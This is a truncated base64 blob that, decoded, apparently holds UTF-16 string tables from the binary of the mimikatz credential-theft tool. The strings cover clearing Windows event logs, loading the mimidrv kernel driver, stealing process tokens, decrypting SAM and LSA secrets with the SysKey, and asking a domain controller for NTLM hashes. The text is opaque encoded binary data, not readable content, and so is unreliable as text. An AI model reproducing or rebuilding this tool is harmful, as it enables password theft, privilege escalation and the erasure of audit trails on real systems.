AHQAbwBfAHMAeQBzAHQAZQBtACAAOwAgAEkAbgBwAHUAdAAgAE0AaQBjAHIAbwBzAG8AZgB0ACAAQwByAHkAcAB0AG8AIABDAGUAcgB0AGkAZgBpAGMAYQB0AGUAIABmAGkAbABlACAAbgBlAGUAZABlAGQAIAAoAC8AZgBpAGwAZQA6AGYAaQBsAGUAbgBhAG0AZQB8AGQAaQByAGUAYwB0AG8AcgB5ACkACgAAAGMAcgBsAAAAYwB0AGwAAABrAGUAeQBpAGQAAABEAGEAdABhADoAIAAAAAAAJQBzAC4AJQBzAAAAUwBhAHYAZQBkACAAdABvACAAZgBpAGwAZQA6ACAAJQBzAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBmAGkAbABlAF8AcgBhAHcARABhAHQAYQAgADsAIABrAHUAbABsAF8AbQBfAGYAaQBsAGUAXwB3AHIAaQB0AGUARABhAHQAYQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAByAHMAYQBlAG4AaAAuAGQAbABsAAAAAABMAG8AYwBhAGwAIABDAHIAeQBwAHQAbwBBAFAASQAgAHAAYQB0AGMAaABlAGQACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBwAF8AYwBhAHAAaQAgADsAIABrAHUAbABsAF8AbQBfAHAAYQB0AGMAaAAgACgAMAB4ACUAMAA4AHgAKQAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAHAAXwBjAGEAcABpACAAOwAgAGsAdQBsAGwAXwBtAF8AcAByAG8AYwBlAHMAcwBfAGcAZQB0AFYAZQByAHkAQgBhAHMAaQBjAE0AbwBkAHUAbABlAEkAbgBmAG8AcgBtAGEAdABpAG8AbgBzAEYAbwByAE4AYQBtAGUAIAAoADAAeAAlADAAOAB4ACkACgAAAG4AYwByAHkAcAB0AC4AZABsAGwAAAAAAG4AYwByAHkAcAB0AHAAcgBvAHYALgBkAGwAbAAAAAAASwBlAHkASQBzAG8AAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBwAF8AYwBuAGcAIAA7ACAATgBvACAAQwBOAEcACgAAAGQAcgBvAHAAAAAAAAAAAABbAGUAeABwAGUAcgBpAG0AZQBuAHQAYQBsAF0AIABwAGEAdABjAGgAIABFAHYAZQBuAHQAcwAgAHMAZQByAHYAaQBjAGUAIAB0AG8AIABhAHYAbwBpAGQAIABuAGUAdwAgAGUAdgBlAG4AdABzAAAAYwBsAGUAYQByAAAAQwBsAGUAYQByACAAYQBuACAAZQB2AGUAbgB0ACAAbABvAGcAAAAAAGUAdgBlAG4AdAAAAEUAdgBlAG4AdAAgAG0AbwBkAHUAbABlAAAAAABlAHYAZQBuAHQAbABvAGcALgBkAGwAbAAAAAAAdwBlAHYAdABzAHYAYwAuAGQAbABsAAAARQB2AGUAbgB0AEwAbwBnAAAAAABTAGUAYwB1AHIAaQB0AHkAAAAAAGwAbwBnAAAAVQBzAGkAbgBnACAAIgAlAHMAIgAgAGUAdgBlAG4AdAAgAGwAbwBnACAAOgAKAAAALQAgACUAdQAgAGUAdgBlAG4AdAAoAHMAKQAKAAAAAAAtACAAQwBsAGUAYQByAGUAZAAgACEACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AZQB2AGUAbgB0AF8AYwBsAGUAYQByACAAOwAgAEMAbABlAGEAcgBFAHYAZQBuAHQATABvAGcAIAAoADAAeAAlADAAOAB4ACkACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBlAHYAZQBuAHQAXwBjAGwAZQBhAHIAIAA7ACAATwBwAGUAbgBFAHYAZQBuAHQATABvAGcAIAAoADAAeAAlADAAOAB4ACkACgAAAGEAcABwAGgAbwBzAHQAAABpAGkAcwAAAEkASQBTACAAWABNAEwAIABDAG8AbgBmAGkAZwAgAG0AbwBkAHUAbABlAAAALwAvAGMAbwBuAGYAaQBnAHUAcgBhAHQAaQBvAG4ALwBzAHkAcwB0AGUAbQAuAGEAcABwAGwAaQBjAGEAdABpAG8AbgBIAG8AcwB0AC8AYQBwAHAAbABpAGMAYQB0AGkAbwBuAFAAbwBvAGwAcwAvAGEAZABkAAAALwAvAGMAbwBuAGYAaQBnAHUAcgBhAHQAaQBvAG4ALwBzAHkAcwB0AGUAbQAuAGEAcABwAGwAaQBjAGEAdABpAG8AbgBIAG8AcwB0AC8AcwBpAHQAZQBzAC8AcwBpAHQAZQAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGkAaQBzAF8AYQBwAHAAaABvAHMAdAAgADsAIABNAGkAcwBzAGkAbgBnACAALwBpAG4AOgBmAGkAbABlAG4AYQBtAGUAIAAoAGEAcABwAGwAaQBjAGEAdABpAG8AbgBIAG8AcwB0AC4AYwBvAG4AZgBpAGcAKQAKAAAACgAqACAAQQBwAHAAbABpAGMAYQB0AGkAbwBuAFAAbwBvAGwAOgAgACcAJQBzACcACgAAAHAAcgBvAGMAZQBzAHMATQBvAGQAZQBsAAAAAAB1AHMAZQByAE4AYQBtAGUAAAAAACAAIABVAHMAZQByAG4AYQBtAGUAOgAgACUAcwAKAAAAIAAgAFAAYQBzAHMAdwBvAHIAZAA6ACAAJQBzAAoAAAAKACoAIABTAGkAdABlADoAIAAnACUAcwAnAAoAAAAAAGEAcABwAGwAaQBjAGEAdABpAG8AbgAAAHAAYQB0AGgAAAAAACAAIAA+ACAAQQBwAHAAbABpAGMAYQB0AGkAbwBuACAAUABhAHQAaAA6ACAAJQBzAAoAAAB2AGkAcgB0AHUAYQBsAEQAaQByAGUAYwB0AG8AcgB5AAAAAAAAAAAAIAAgACAAIAAtACAAVgBpAHIAdAB1AGEAbABEAGkAcgBlAGMAdABvAHIAeQAgAFAAYQB0AGgAOgAgACUAcwAgACgAIAAAAAAAcABoAHkAcwBpAGMAYQBsAFAAYQB0AGgAAAAAACAAKQAKAAAAIAAgACAAIAAgACAAVQBzAGUAcgBuAGEAbQBlADoAIAAlAHMACgAAACAAIAAgACAAIAAgAFAAYQBzAHMAdwBvAHIAZAA6ACAAJQBzAAoAAABbAGUAbgBjADoAAAA6AGUAbgBjAF0AAAAAAAAAIAAgAHwAIABQAHIAbwB2AGkAZABlAHIAIAAgADoAIAAlAHMACgAgACAAfAAgAEQAYQB0AGEAIAAgACAAIAAgACAAOgAgACUAcwAKAAAAAAAvAC8AYwBvAG4AZgBpAGcAdQByAGEAdABpAG8AbgAvAGMAbwBuAGYAaQBnAFAAcgBvAHQAZQBjAHQAZQBkAEQAYQB0AGEALwBwAHIAbwB2AGkAZABlAHIAcwAvAGEAZABkAAAAdAB5AHAAZQAAAAAATQBpAGMAcgBvAHMAbwBmAHQALgBBAHAAcABsAGkAYwBhAHQAaQBvAG4ASABvAHMAdAAuAEEAZQBzAFAAcgBvAHQAZQBjAHQAZQBkAEMAbwBuAGYAaQBnAHUAcgBhAHQAaQBvAG4AUAByAG8AdgBpAGQAZQByAAAAawBlAHkAQwBvAG4AdABhAGkAbgBlAHIATgBhAG0AZQAAAAAAIAAgAHwAIABLAGUAeQBOAGEAbQBlACAAIAAgADoAIAAlAHMACgAAAHMAZQBzAHMAaQBvAG4ASwBlAHkAAAAAAHUAcwBlAE0AYQBjAGgAaQBuAGUAQwBvAG4AdABhAGkAbgBlAHIAAAB0AHIAdQBlAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGkAaQBzAF8AYQBwAHAAaABvAHMAdABfAHAAcgBvAHYAaQBkAGUAcgAgADsAIAB0AHkAcABlACAAaQBzACAAbgBvAHQAIABzAHUAcABwAG8AcgB0AGUAZAAgACgAJQBzACkACgAAAGwAaQB2AGUAAAAAACAAIAB8ACAATABpAHYAZQAgAEsAZQB5ACAAIAA6ACAAJQBzACAALQAgACUAcwAgADoAIAAAAAAAIAAgAHwAIABQAFYASwAgAGYAaQBsAGUAIAAgADoAIAAlAHMAIAAtACAAJwAlAHMAJwAgADoAIAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBpAGkAcwBfAGEAcABwAGgAbwBzAHQAXwBwAHIAbwB2AGkAZABlAHIAXwBkAGUAYwByAHkAcAB0ACAAOwAgAEMAcgB5AHAAdABJAG0AcABvAHIAdABLAGUAeQAgACgAUgBTAEEAKQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAgACAAfAAgAFAAYQBzAHMAdwBvAHIAZAAgACAAOgAgACUAcwAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBpAGkAcwBfAGEAcABwAGgAbwBzAHQAXwBwAHIAbwB2AGkAZABlAHIAXwBkAGUAYwByAHkAcAB0ACAAOwAgAEMAcgB5AHAAdABEAGUAYwByAHkAcAB0ACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AaQBpAHMAXwBhAHAAcABoAG8AcwB0AF8AcAByAG8AdgBpAGQAZQByAF8AZABlAGMAcgB5AHAAdAAgADsAIABDAHIAeQBwAHQASQBtAHAAbwByAHQASwBlAHkAIAAoAHMAZQBzAHMAaQBvAG4AKQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGkAaQBzAF8AYQBwAHAAaABvAHMAdABfAHAAcgBvAHYAaQBkAGUAcgBfAGQAZQBjAHIAeQBwAHQAIAA7ACAAQwByAHkAcAB0AEEAYwBxAHUAaQByAGUAQwBvAG4AdABlAHgAdAAgACgAMAB4ACUAMAA4AHgAKQAKAAAAKwAAAEkAbgBzAHQAYQBsAGwAIABhAG4AZAAvAG8AcgAgAHMAdABhAHIAdAAgAG0AaQBtAGkAawBhAHQAegAgAGQAcgBpAHYAZQByACAAKABtAGkAbQBpAGQAcgB2ACkAAAAAAC0AAAAAAAAAUgBlAG0AbwB2AGUAIABtAGkAbQBpAGsAYQB0AHoAIABkAHIAaQB2AGUAcgAgACgAbQBpAG0AaQBkAHIAdgApAAAAAABwAGkAbgBnAAAAAABQAGkAbgBnACAAdABoAGUAIABkAHIAaQB2AGUAcgAAAGIAcwBvAGQAAAAAAEIAUwBPAEQAIAAhAAAAAABwAHIAbwBjAGUAcwBzAAAATABpAHMAdAAgAHAAcgBvAGMAZQBzAHMAAAAAAHAAcgBvAGMAZQBzAHMAUAByAG8AdABlAGMAdAAAAAAAUAByAG8AdABlAGMAdAAgAHAAcgBvAGMAZQBzAHMAAABwAHIAbwBjAGUAcwBzAFQAbwBrAGUAbgAAAAAARAB1AHAAbABpAGMAYQB0AGUAIABwAHIAbwBjAGUAcwBzACAAdABvAGsAZQBuAAAAcAByAG8AYwBlAHMAcwBQAHIAaQB2AGkAbABlAGcAZQAAAAAAUwBlAHQAIABhAGwAbAAgAHAAcgBpAHYAaQBsAGUAZwBlACAAbwBuACAAcAByAG8AYwBlAHMAcwAAAAAAbQBvAGQAdQBsAGUAcwAAAEwAaQBzAHQAIABtAG8AZAB1AGwAZQBzAAAAAABzAHMAZAB0AAAAAABMAGkAcwB0ACAAUwBTAEQAVAAAAG4AbwB0AGkAZgBQAHIAbwBjAGUAcwBzAAAAAABMAGkAcwB0ACAAcAByAG8AYwBlAHMAcwAgAG4AbwB0AGkAZgB5ACAAYwBhAGwAbABiAGEAYwBrAHMAAABuAG8AdABpAGYAVABoAHIAZQBhAGQAAABMAGkAcwB0ACAAdABoAHIAZQBhAGQAIABuAG8AdABpAGYAeQAgAGMAYQBsAGwAYgBhAGMAawBzAAAAAABuAG8AdABpAGYASQBtAGEAZwBlAAAAAABMAGkAcwB0ACAAaQBtAGEAZwBlACAAbgBvAHQAaQBmAHkAIABjAGEAbABsAGIAYQBjAGsAcwAAAG4AbwB0AGkAZgBSAGUAZwAAAAAATABpAHMAdAAgAHIAZQBnAGkAcwB0AHIAeQAgAG4AbwB0AGkAZgB5ACAAYwBhAGwAbABiAGEAYwBrAHMAAAAAAG4AbwB0AGkAZgBPAGIAagBlAGMAdAAAAEwAaQBzAHQAIABvAGIAagBlAGMAdAAgAG4AbwB0AGkAZgB5ACAAYwBhAGwAbABiAGEAYwBrAHMAAAAAAGYAaQBsAHQAZQByAHMAAABMAGkAcwB0ACAARgBTACAAZgBpAGwAdABlAHIAcwAAAG0AaQBuAGkAZgBpAGwAdABlAHIAcwAAAEwAaQBzAHQAIABtAGkAbgBpAGYAaQBsAHQAZQByAHMAAAAAAHMAeQBzAGUAbgB2AHMAZQB0AAAAAAAAAFMAeQBzAHQAZQBtACAARQBuAHYAaQByAG8AbgBtAGUAbgB0ACAAVgBhAHIAaQBhAGIAbABlACAAUwBlAHQAAABzAHkAcwBlAG4AdgBkAGUAbAAAAAAAAABTAHkAcwB0AGUAbQAgAEUAbgB2AGkAcgBvAG4AbQBlAG4AdAAgAFYAYQByAGkAYQBiAGwAZQAgAEQAZQBsAGUAdABlAAAAAABtAGkAbQBpAGQAcgB2AC4AcwB5AHMAAABtAGkAbQBpAGQAcgB2AAAAWwArAF0AIABtAGkAbQBpAGsAYQB0AHoAIABkAHIAaQB2AGUAcgAgAGEAbAByAGUAYQBkAHkAIAByAGUAZwBpAHMAdABlAHIAZQBkAAoAAABbACoAXQAgAG0AaQBtAGkAawBhAHQAegAgAGQAcgBpAHYAZQByACAAbgBvAHQAIABwAHIAZQBzAGUAbgB0AAoAAAAAAG0AaQBtAGkAawBhAHQAegAgAGQAcgBpAHYAZQByACAAKABtAGkAbQBpAGQAcgB2ACkAAABbACsAXQAgAG0AaQBtAGkAawBhAHQAegAgAGQAcgBpAHYAZQByACAAcwB1AGMAYwBlAHMAcwBmAHUAbABsAHkAIAByAGUAZwBpAHMAdABlAHIAZQBkAAoAAAAAAAAAAABbACsAXQAgAG0AaQBtAGkAawBhAHQAegAgAGQAcgBpAHYAZQByACAAQQBDAEwAIAB0AG8AIABlAHYAZQByAHkAbwBuAGUACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAbgBlAGwAXwBhAGQAZABfAG0AaQBtAGkAZAByAHYAIAA7ACAAawB1AGgAbABfAG0AXwBrAGUAcgBuAGUAbABfAGEAZABkAFcAbwByAGwAZABUAG8ATQBpAG0AaQBrAGEAdAB6ACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAG4AZQBsAF8AYQBkAGQAXwBtAGkAbQBpAGQAcgB2ACAAOwAgAEMAcgBlAGEAdABlAFMAZQByAHYAaQBjAGUAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAG4AZQBsAF8AYQBkAGQAXwBtAGkAbQBpAGQAcgB2ACAAOwAgAGsAdQBsAGwAXwBtAF8AZgBpAGwAZQBfAGkAcwBGAGkAbABlAEUAeABpAHMAdAAgACgAMAB4ACUAMAA4AHgAKQAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBuAGUAbABfAGEAZABkAF8AbQBpAG0AaQBkAHIAdgAgADsAIABrAHUAbABsAF8AbQBfAGYAaQBsAGUAXwBnAGUAdABBAGIAcwBvAGwAdQB0AGUAUABhAHQAaABPAGYAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAG4AZQBsAF8AYQBkAGQAXwBtAGkAbQBpAGQAcgB2ACAAOwAgAE8AcABlAG4AUwBlAHIAdgBpAGMAZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAWwArAF0AIABtAGkAbQBpAGsAYQB0AHoAIABkAHIAaQB2AGUAcgAgAHMAdABhAHIAdABlAGQACgAAAAAAAAAAAFsAKgBdACAAbQBpAG0AaQBrAGEAdAB6ACAAZAByAGkAdgBlAHIAIABhAGwAcgBlAGEAZAB5ACAAcwB0AGEAcgB0AGUAZAAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBuAGUAbABfAGEAZABkAF8AbQBpAG0AaQBkAHIAdgAgADsAIABTAHQAYQByAHQAUwBlAHIAdgBpAGMAZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBuAGUAbABfAGEAZABkAF8AbQBpAG0AaQBkAHIAdgAgADsAIABPAHAAZQBuAFMAQwBNAGEAbgBhAGcAZQByACgAYwByAGUAYQB0AGUAKQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAWwArAF0AIABtAGkAbQBpAGsAYQB0AHoAIABkAHIAaQB2AGUAcgAgAHMAdABvAHAAcABlAGQACgAAAAAAWwAqAF0AIABtAGkAbQBpAGsAYQB0AHoAIABkAHIAaQB2AGUAcgAgAG4AbwB0ACAAcgB1AG4AbgBpAG4AZwAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBuAGUAbABfAHIAZQBtAG8AdgBlAF8AbQBpAG0AaQBkAHIAdgAgADsAIABrAHUAbABsAF8AbQBfAHMAZQByAHYAaQBjAGUAXwBzAHQAbwBwACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAFsAKwBdACAAbQBpAG0AaQBrAGEAdAB6ACAAZAByAGkAdgBlAHIAIAByAGUAbQBvAHYAZQBkAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAG4AZQBsAF8AcgBlAG0AbwB2AGUAXwBtAGkAbQBpAGQAcgB2ACAAOwAgAGsAdQBsAGwAXwBtAF8AcwBlAHIAdgBpAGMAZQBfAHIAZQBtAG8AdgBlACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAHIAZQBtAG8AdgBlAAAAAABQAHIAbwBjAGUAcwBzACAAOgAgACUAcwAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBuAGUAbABfAHAAcgBvAGMAZQBzAHMAUAByAG8AdABlAGMAdAAgADsAIABrAHUAbABsAF8AbQBfAHAAcgBvAGMAZQBzAHMAXwBnAGUAdABQAHIAbwBjAGUAcwBzAEkAZABGAG8AcgBOAGEAbQBlACAAKAAwAHgAJQAwADgAeAApAAoAAABwAGkAZAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAG4AZQBsAF8AcAByAG8AYwBlAHMAcwBQAHIAbwB0AGUAYwB0ACAAOwAgAEEAcgBnAHUAbQBlAG4AdAAgAC8AcAByAG8AYwBlAHMAcwA6AHAAcgBvAGcAcgBhAG0ALgBlAHgAZQAgAG8AcgAgAC8AcABpAGQAOgBwAHIAbwBjAGUAcwBzAGkAZAAgAG4AZQBlAGQAZQBkAAoAAAAAAAAAAABQAEkARAAgACUAdQAgAC0APgAgACUAMAAyAHgALwAlADAAMgB4ACAAWwAlADEAeAAtACUAMQB4AC0AJQAxAHgAXQAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAG4AZQBsAF8AcAByAG8AYwBlAHMAcwBQAHIAbwB0AGUAYwB0ACAAOwAgAE4AbwAgAFAASQBEAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAG4AZQBsAF8AcAByAG8AYwBlAHMAcwBQAHIAbwB0AGUAYwB0ACAAOwAgAFAAcgBvAHQAZQBjAHQAZQBkACAAcAByAG8AYwBlAHMAcwAgAG4AbwB0ACAAYQB2AGEAaQBsAGEAYgBsAGUAIABiAGUAZgBvAHIAZQAgAFcAaQBuAGQAbwB3AHMAIABWAGkAcwB0AGEACgAAAAAAZgByAG8AbQAAAAAAdABvAAAAAAAAAAAAVABvAGsAZQBuACAAZgByAG8AbQAgAHAAcgBvAGMAZQBzAHMAIAAlAHUAIAB0AG8AIABwAHIAbwBjAGUAcwBzACAAJQB1AAoAAAAAAAAAAAAgACoAIABmAHIAbwBtACAAMAAgAHcAaQBsAGwAIAB0AGEAawBlACAAUwBZAFMAVABFAE0AIAB0AG8AawBlAG4ACgAAAAAAAAAgACoAIAB0AG8AIAAwACAAdwBpAGwAbAAgAHQAYQBrAGUAIABhAGwAbAAgACcAYwBtAGQAJwAgAGEAbgBkACAAJwBtAGkAbQBpAGsAYQB0AHoAJwAgAHAAcgBvAGMAZQBzAHMACgAAAEsAZQByAG4AZQBsAF8ATABzAGEAXwBQAHAAbABfAEMAbwBuAGYAaQBnAAAAAAAAAHsANwA3AGYAYQA5AGEAYgBkAC0AMAAzADUAOQAtADQAZAAzADIALQBiAGQANgAwAC0AMgA4AGYANABlADcAOABmADcAOAA0AGIAfQAAAAAAZwB1AGkAZAAAAAAAMQAAAGEAdAB0AHIAaQBiAHUAdABlAHMAAAAAADAAMAAwADAAMAAwADAAMAAAAAAATgBhAG0AZQAgACAAIAAgACAAIAAgADoAIAAlAHcAWgAKAFYAZQBuAGQAbwByACAARwBVAEkARAA6ACAAAAAAAAoAQQB0AHQAcgBpAGIAdQB0AGUAcwAgADoAIAAlADAAOAB4ACAAKAAAAAAATABlAG4AZwB0AGgAIAAgACAAIAAgADoAIAAlAHUACgBEAGEAdABhACAAIAAgACAAIAAgACAAOgAgAAAAPgAgAE8ASwAhAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAG4AZQBsAF8AcwB5AHMAZQBuAHYAXwBzAGUAdAAgADsAIABSAHQAbABHAFUASQBEAEYAcgBvAG0AUwB0AHIAaQBuAGcAOgAgADAAeAAlADAAOAB4AAoAAAApAAoACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAbgBlAGwAXwBzAHkAcwBlAG4AdgBfAGQAZQBsACAAOwAgAFIAdABsAEcAVQBJAEQARgByAG8AbQBTAHQAcgBpAG4AZwA6ACAAMAB4ACUAMAA4AHgACgAAAHMAYQBtAAAARwBlAHQAIAB0AGgAZQAgAFMAeQBzAEsAZQB5ACAAdABvACAAZABlAGMAcgB5AHAAdAAgAFMAQQBNACAAZQBuAHQAcgBpAGUAcwAgACgAZgByAG8AbQAgAHIAZQBnAGkAcwB0AHIAeQAgAG8AcgAgAGgAaQB2AGUAcwApAAAAAABzAGUAYwByAGUAdABzAAAARwBlAHQAIAB0AGgAZQAgAFMAeQBzAEsAZQB5ACAAdABvACAAZABlAGMAcgB5AHAAdAAgAFMARQBDAFIARQBUAFMAIABlAG4AdAByAGkAZQBzACAAKABmAHIAbwBtACAAcgBlAGcAaQBzAHQAcgB5ACAAbwByACAAaABpAHYAZQBzACkAAAAAAEcAZQB0ACAAdABoAGUAIABTAHkAcwBLAGUAeQAgAHQAbwAgAGQAZQBjAHIAeQBwAHQAIABOAEwAJABLAE0AIAB0AGgAZQBuACAATQBTAEMAYQBjAGgAZQAoAHYAMgApACAAKABmAHIAbwBtACAAcgBlAGcAaQBzAHQAcgB5ACAAbwByACAAaABpAHYAZQBzACkAAABsAHMAYQAAAAAAAABBAHMAawAgAEwAUwBBACAAUwBlAHIAdgBlAHIAIAB0AG8AIAByAGUAdAByAGkAZQB2AGUAIABTAEEATQAvAEEARAAgAGUAbgB0AHIAaQBlAHMAIAAoAG4AbwByAG0AYQBsACwAIABwAGEAdABjAGgAIABvAG4AIAB0AGgAZQAgAGYAbAB5ACAAbwByACAAaQBuAGoAZQBjAHQAKQAAAAAAdAByAHUAcwB0AAAAAAAAAEEAcwBrACAATABTAEEAIABTAGUAcgB2AGUAcgAgAHQAbwAgAHIAZQB0AHIAaQBlAHYAZQAgAFQAcgB1AHMAdAAgAEEAdQB0AGgAIABJAG4AZgBvAHIAbQBhAHQAaQBvAG4AIAAoAG4AbwByAG0AYQBsACAAbwByACAAcABhAHQAYwBoACAAbwBuACAAdABoAGUAIABmAGwAeQApAAAAAABiAGEAYwBrAHUAcABrAGUAeQBzAAAAAAByAHAAZABhAHQAYQAAAAAAZABjAHMAeQBuAGMAAAAAAEEAcwBrACAAYQAgAEQAQwAgAHQAbwAgAHMAeQBuAGMAaAByAG8AbgBpAHoAZQAgAGEAbgAgAG8AYgBqAGUAYwB0AAAAbgBlAHQAcwB5AG4AYwAAAAAAAABBAHMAawAgAGEAIABEAEMAIAB0AG8AIABzAGUAbgBkACAAYwB1AHIAcgBlAG4AdAAgAGEAbgBkACAAcAByAGUAdgBpAG8AdQBzACAATgBUAEwATQAgAGgAYQBzAGgAIABvAGYAIABEAEMALwBTAFIAVgAvAFcASwBTAAAAbABzAGEAZAB1AG0AcAAAAEwAcwBhAEQAdQBtAHAAIABtAG8AZAB1AGwAZQAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAHMAYQBtACAAOwAgAEMAcgBlAGEAdABlAEYAaQBsAGUAIAAoAFMAQQBNACAAaABpAHYAZQApACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAHMAYQBtACAAOwAgAEMAcgBlAGEAdABlAEYAaQBsAGUAIAAoAFMAWQBTAFQARQBNACAAaABpAHYAZQApACAAKAAwAHgAJQAwADgAeAApAAoAAABTAFkAUwBUAEUATQAAAAAAUwBBAE0AAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AcwBhAG0AIAA7ACAAawB1AGwAbABfAG0AXwByAGUAZwBpAHMAdAByAHkAXwBSAGUAZwBPAHAAZQBuAEsAZQB5AEUAeAAgACgAUwBBAE0AKQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAPgAgAFUAcwBlAHIAIABjAGEAYwBoAGUAIAByAGUAcABsAGEAYwBlACAAbQBvAGQAZQAgACEACgAAAAAAIAAgACoAIAB1AHMAZQByACAAIAAgACAAIAA6ACAAJQBzAAoAAAAAAG4AdABsAG0AAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAHMAZQBjAHIAZQB0AHMATwByAEMAYQBjAGgAZQAgADsAIABuAHQAbABtACAAaABhAHMAaAAgAGwAZQBuAGcAdABoACAAbQB1AHMAdAAgAGIAZQAgADMAMgAgACgAMQA2ACAAYgB5AHQAZQBzACkAIAAtACAAdwBpAGwAbAAgAHUAcwBlACAAZABlAGYAYQB1AGwAdAAgAHAAYQBzAHMAdwBvAHIAZAAuAC4ALgAKAAAAAAAgACAAKgAgAHAAYQBzAHMAdwBvAHIAZAAgADoAIAAlAHMACgAAAAAAIAAgACoAIABuAHQAbABtACAAIAAgACAAIAA6ACAAAABzAGUAYwB1AHIAaQB0AHkAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAHMAZQBjAHIAZQB0AHMATwByAEMAYQBjAGgAZQAgADsAIABDAHIAZQBhAHQAZQBGAGkAbABlACAAKABTAEUAQwBVAFIASQBUAFkAIABoAGkAdgBlACkAIAAoADAAeAAlADAAOAB4ACkACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AcwBlAGMAcgBlAHQAcwBPAHIAQwBhAGMAaABlACAAOwAgAEMAcgBlAGEAdABlAEYAaQBsAGUAIAAoAFMAWQBTAFQARQBNACAAaABpAHYAZQApACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAFMARQBDAFUAUgBJAFQAWQAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AcwBlAGMAcgBlAHQAcwBPAHIAQwBhAGMAaABlACAAOwAgAGsAdQBsAGwAXwBtAF8AcgBlAGcAaQBzAHQAcgB5AF8AUgBlAGcATwBwAGUAbgBLAGUAeQBFAHgAIAAoAFMARQBDAFUAUgBJAFQAWQApACAAKAAwAHgAJQAwADgAeAApAAoAAABDAHUAcgByAGUAbgB0AAAARABlAGYAYQB1AGwAdAAAAEMAbwBuAHQAcgBvAGwAUwBlAHQAMAAwADAAAABTAGUAbABlAGMAdAAAAAAAJQAwADMAdQAAAAAASgBEAAAAAABTAGsAZQB3ADEAAABHAEIARwAAAEQAYQB0AGEAAAAAACUAeAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZwBlAHQAUwB5AHMAawBlAHkAIAA7ACAATABTAEEAIABLAGUAeQAgAEMAbABhAHMAcwAgAHIAZQBhAGQAIABlAHIAcgBvAHIACgAAAAAARABvAG0AYQBpAG4AIAA6ACAAAABDAG8AbQBwAHUAdABlAHIATgBhAG0AZQAAAAAAQwBvAG4AdAByAG8AbABcAEMAbwBtAHAAdQB0AGUAcgBOAGEAbQBlAFwAQwBvAG0AcAB1AHQAZQByAE4AYQBtAGUAAAAlAHMACgAAAFMAeQBzAEsAZQB5ACAAOgAgAAAAQwBvAG4AdAByAG8AbABcAEwAUwBBAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZwBlAHQAQwBvAG0AcAB1AHQAZQByAEEAbgBkAFMAeQBzAGsAZQB5ACAAOwAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGcAZQB0AFMAeQBzAGsAZQB5ACAASwBPAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBnAGUAdABDAG8AbQBwAHUAdABlAHIAQQBu